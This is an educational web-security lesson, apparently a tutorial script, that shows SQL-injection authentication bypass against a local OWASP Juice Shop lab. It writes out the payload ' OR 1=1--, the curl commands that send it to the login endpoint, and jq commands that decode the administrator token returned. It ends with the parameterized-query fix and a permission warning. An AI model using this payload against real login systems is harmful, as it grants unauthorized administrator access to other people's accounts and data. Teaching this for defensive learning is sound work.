The Exploit HQ

Web Application Security for Beginners · lesson 5 · 2026-09-07 · updated 2026-10-12

Authentication Bypass Explained — Web Application Security for Beginners

Before you start

Welcome back to The Exploit HQ, and to part five of our beginner series on web application security. As always, you need zero experience to follow along.

In the first four parts, we found things the server left exposed and numbers it trusted without checking: someone else’s basket, a file it was never meant to share, a forgotten backup holding the database password, and a quantity we changed to whatever we liked. Today we go after the front door itself. We are going to walk past the login screen without ever knowing the password.

First, the word of the day: authentication.

What is authentication?

Every time you log in somewhere, the site has to answer one question: are you really who you say you are? It checks the password you typed against the one it has stored. Today’s flaw lets us make the site answer yes, without ever giving it the right password.

To check your password, most sites ask their database a question. That question is written in a language called SQL.

The question the server asks its database

SELECT * FROM Users WHERE email = 'YOU TYPED' AND password = 'YOURS'
Part What it does
SELECT * FROM Users look in the table of user accounts
WHERE email = 'YOU TYPED' find the row whose email matches what you entered
AND password = 'YOURS' …and only continue if the password matches too
the quote marks ' ' your text is dropped INSIDE these quotes as plain data

Read it in plain English. Look in the table of users. Find the one whose email matches what I typed. And only let them in if the password also matches. Your email gets pasted right into that sentence, inside the quote marks. And that is the weak spot.

Here is the danger.

What if the email is not just data?

The site expects the email box to contain an email. But nothing forces you to be honest. If you type a quote mark, you close the text early, and whatever you write after it is no longer treated as your email. It becomes part of the database’s question. That is the whole idea behind SQL injection: turning a data field into an instruction.

We only need two tools, and you already know them both.

The tools we will use

Before we cheat, let’s play fair once, so we can see the gate actually working. We will log in with a real email but a made-up password.

Step 1 — a normal login with the WRONG password

curl -s ... /rest/user/login -d '{"email":"demo@ehq.local","password":"hunter2"}'
Part What it does
/rest/user/login the login endpoint
"email": "demo@ehq.local" our real demo account
"password": "hunter2" a made-up password — the wrong one
-w "HTTP %{http_code}" print only the server’s status number

We are sending our demo email with a password that is simply wrong. We expect the server to turn us away. To keep the screen clean we are asking curl to print just one thing: the status number the server sends back. Open the terminal, and type it with me.

curl -s -o /dev/null -w "Server response: HTTP %{http_code}\n" http://127.0.0.1:3000/rest/user/login -H "Content-Type: application/json" -d '{"email":"demo@ehq.local","password":"hunter2"}'

HTTP four zero one. Four zero one means Unauthorized — the server refused us. The gate did exactly its job: wrong password, no entry. Now watch what happens when we stop sending an honest email.

Here is the email we are going to send instead. It is not an address at all.

What we put in the email field

' OR 1=1--
Part What it does
' (a single quote) CLOSES the email text early, so we escape the data
OR 1=1 OR one-equals-one — a condition that is ALWAYS true
-- (two dashes) turns the REST of the question into an ignored comment

Three tiny pieces. A single quote to close off the email early. Then OR one-equals-one, which is a condition that is always, always true. Then two dashes, which tell SQL to ignore everything after them. Watch what that does to the server’s question.

This is what the database now reads.

What the login check becomes

SELECT * FROM Users WHERE email = '' OR 1=1--' AND password = 'anything'
Part What it does
email = '' an empty email — matches nobody on its own
OR 1=1 …but this is always true, so EVERY user row matches
--' AND password … commented out by the dashes — the password check never runs
the result every user is returned, and the site logs us in as the first one

The email is now empty, which matches no one. But OR one-equals-one is always true, so the whole condition is true for every single user. And the password check? The two dashes turned it into a comment, so the server never even looks at it. The question now returns every user in the database, and the site simply logs us in as the first one on the list, which is the administrator. Let’s send it for real.

Log in with the injected email

curl -s ... /rest/user/login -d '{"email":"' OR 1=1--","password":"anything"}' | jq ...
Part What it does
"email": "' OR 1=1--" our injected email — not a real address
"password": "anything" any password at all — it is never checked
| jq '{logged_in_as, token_issued}' show who we became, and whether we got a key

In the email field goes our injection. In the password field, the word anything — it truly does not matter, because that check has been commented out. Then we ask jq to show us two things: who the server thinks we are, and whether it handed us a login token. Let’s see it.

curl -s http://127.0.0.1:3000/rest/user/login -H "Content-Type: application/json" -d "{\"email\":\"' OR 1=1--\",\"password\":\"anything\"}" | jq '{logged_in_as: .authentication.umail, token_issued: (.authentication.token != null)}'

Logged in as admin at juice dash sh dot op. And a token was issued — token issued, true. That token is the site’s proof that we are logged in and allowed to act. We never knew the administrator’s password. We never needed it. One broken email field walked us straight through the front door.

Do not take my word for it. Let’s read the key the server just handed us.

Decode the login token the server issued

curl ... | jq -r '.authentication.token' | jq -R 'split(".")[1] | @base64d | fromjson'
Part What it does
jq -r '.authentication.token' pull out the token the server gave us
split(".")[1] a login token has three parts — take the middle one
@base64d | fromjson decode it back into readable text — no cracking, just reading
{token_belongs_to, role} show whose key it is, and their power level

A login token, sometimes called a JWT, quietly carries who you are and what you are allowed to do. It is not encrypted, just encoded, so decoding it is simply reading it. We pull out the token, take its middle section, and decode it. Let’s look inside.

curl -s http://127.0.0.1:3000/rest/user/login -H "Content-Type: application/json" -d "{\"email\":\"' OR 1=1--\",\"password\":\"anything\"}" | jq -r '.authentication.token' | jq -R 'split(".")[1] | @base64d | fromjson | {token_belongs_to: .data.email, role: .data.role}'

Token belongs to admin at juice dash sh dot op, and the role is admin. The server did not just let us in — it handed us an administrator’s key, stamped with full administrator power. From one quote mark in an email box, we now control the entire site.

Let’s be clear about why this is so serious.

One quote mark, total control

This is not just sneaking into one account. We landed on the administrator, which on most sites means access to everyone’s data and every control the application has. And it cost the attacker nothing — no guessing, no phishing, no stolen password. Just one character the developer forgot to defend against. So how do we find it, and how do we fix it?

Here is how to find it, and how to shut it down for good.

Find it, and fix it

To find it, look anywhere your input gets used in a database question — login boxes, search bars, filters — and try typing a single quote. If the app errors out or behaves oddly, it may be gluing your text straight into its SQL. The real fix has a name: parameterized queries, also called prepared statements. Instead of gluing your text into the question, the code sends the question and your data to the database separately. The database then treats your input as pure data, always, so a quote is just a quote and OR one-equals-one is just a strange-looking email that matches nobody. As a second layer, multi-factor authentication means a stolen or bypassed password still is not enough to get in. Defence in depth.

And the one rule, every single time.

Before you go

Only ever test applications you own or have explicit written permission to test. Sending an injected login to a site you do not own is illegal, even though it looks like just typing in a box. Juice Shop is built for exactly this kind of safe, legal practice, running entirely on your own computer. The O-WASP project ranks injection as A-03 in their top ten web application risks — it has been near the top for years, because this one mistake is still everywhere. And with that, you have the full beginner arc: access control, file inclusion, information disclosure, parameter tampering, and now authentication bypass. The complete course is linked below. Thank you for learning with The Exploit HQ — go build things, and defend them well.